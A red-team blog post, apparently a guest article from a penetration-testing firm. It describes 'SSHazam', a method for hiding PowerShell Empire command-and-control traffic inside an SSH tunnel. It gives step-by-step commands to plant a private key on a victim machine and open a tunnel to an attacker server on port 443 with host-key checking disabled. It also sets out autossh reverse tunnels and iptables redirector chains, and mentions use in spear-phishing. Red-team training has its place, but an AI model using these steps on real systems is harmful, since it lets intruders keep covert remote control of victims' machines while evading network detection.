SSHazam: Hide Your C2 Inside of SSH

Carrie Roberts //*

SSHazam is a method of running any C2 tool of your choice inside a standard SSH tunnel to avoid network detections. The examples here involve running PowerShell Empire, which connects to a localhost port on the victim. The local port is forwarded to the remote Empire server through an SSH connection so that the only network traffic seen is SSH. The victim system in this example is OS X but the same technique could be done on Windows using Plink.exe, part of the Putty toolset.

The image above shows the victim system has an SSH Tunnel configured to listen on port 5430 and forwards anything it receives to the Empire Server. The Empire Server has Empire running and listening on the same port on its own localhost ( To make the SSH traffic blend in a little more, we have the SSH server listening on port 443 instead of the standard port 22. Remember to edit your SSH config file to have it listen on this port and also edit your cloud provider firewall to let traffic on this port through.

You must create or copy a private key to your victim system before establishing the tunnel. The associated public key must be added to the authorized_keys file of your empire-server to allow the SSH connection. In this example, we have put the private key file on the victim machine at ~/.ssh/.do.key. The following steps will do this for you from the command line, assuming you edit it to include your whole private key:

mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

To prevent anyone who gains access to the private key from doing unwanted things to your empire-server, you can make a configuration change on the Empire Server.  Specifically, edit /etc/passwd and change the login to /bin/false.

victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

With the private key in place on the victim system, one simple command will configure the SSH Tunnel and ports for you.

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:

Now, you configure PowerShell Empire, or your own C2, to listen for connections on This even works when you are doing complex configurations like domain fronting.

That’s it, all of your C2 traffic is hidden inside of an encrypted SSH tunnel and you don’t have to worry about any other network signatures your C2 may trigger.

Bonus Material

That technique is cool, simple, and may get you a C2 session in cases where you would otherwise get caught. But you may not want to put customer sensitive data on a cloud host you don’t own. In this case, you’ll want to set up additional redirectors to forward traffic through the cloud host to the system you own inside your own network. This is twice as complex but have no fear, I’ve got it all figured out for you as shown below.

The C2 connection gets forwarded through the SSH Tunnel to the empire-redirector. Firewall rules on the empire-redirector forward the traffic along to another intermediary redirector. Lastly, your in-house system, where the Empire C2 session will ultimately land, establishes a reverse SSH connection out to the final redirector.

The SSH command to run on the victim machine is as follows:

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no [email protected] -L 5430:

The SSH command to run from your in-house trusted system is:

autossh -M 5431 -o ServerAliveInterval=30 -R 5433: [email protected]

You may need to install autossh first, but it is worth it because it will do the work of making sure your tunnel stays up over long periods of time.

The IP Table Rules for the Empire-Redirector are as follows:

iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

This forwards ports 5430 through 65535 on to the final redirector, so you can dedicate one port in that range to each victim.

The IP Table Rules for the Redirector are as follows:

sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to

Whew! What a work out. It’s complex but it does what is required to take those extra steps of precaution, keeping sensitive data out of the cloud.

As a side note, I wanted to get a notification via Slack when an SSH connection was made. I added these two lines to my /etc/pam.d/sshd file on the empire-redirector to run my Slack notification script each time a successful SSH connection was made.

session [success=ok ignore=ignore module_unknown=ignore default=bad] open
session optional /home/root/

My Slack alert script looked like this:

#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"
curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \

Note that in this more complex scenario, only one victim can connect at a time unless each of your victims is configured to use a different port on the empire-redirector and a different user/private-key combination. This is annoying, but works well in a spear-phishing scenario.

*We love when Carrie guest posts for us! Follow her on Twitter @OrOneEqualsOne

For Penetration Testing, Security Assessments, Red Team Engagements, and Threat Hunting: Contact Us!


Join us at Wild West Hackin’ Fest in Deadwood — September 23-25th, 2020. Learn more: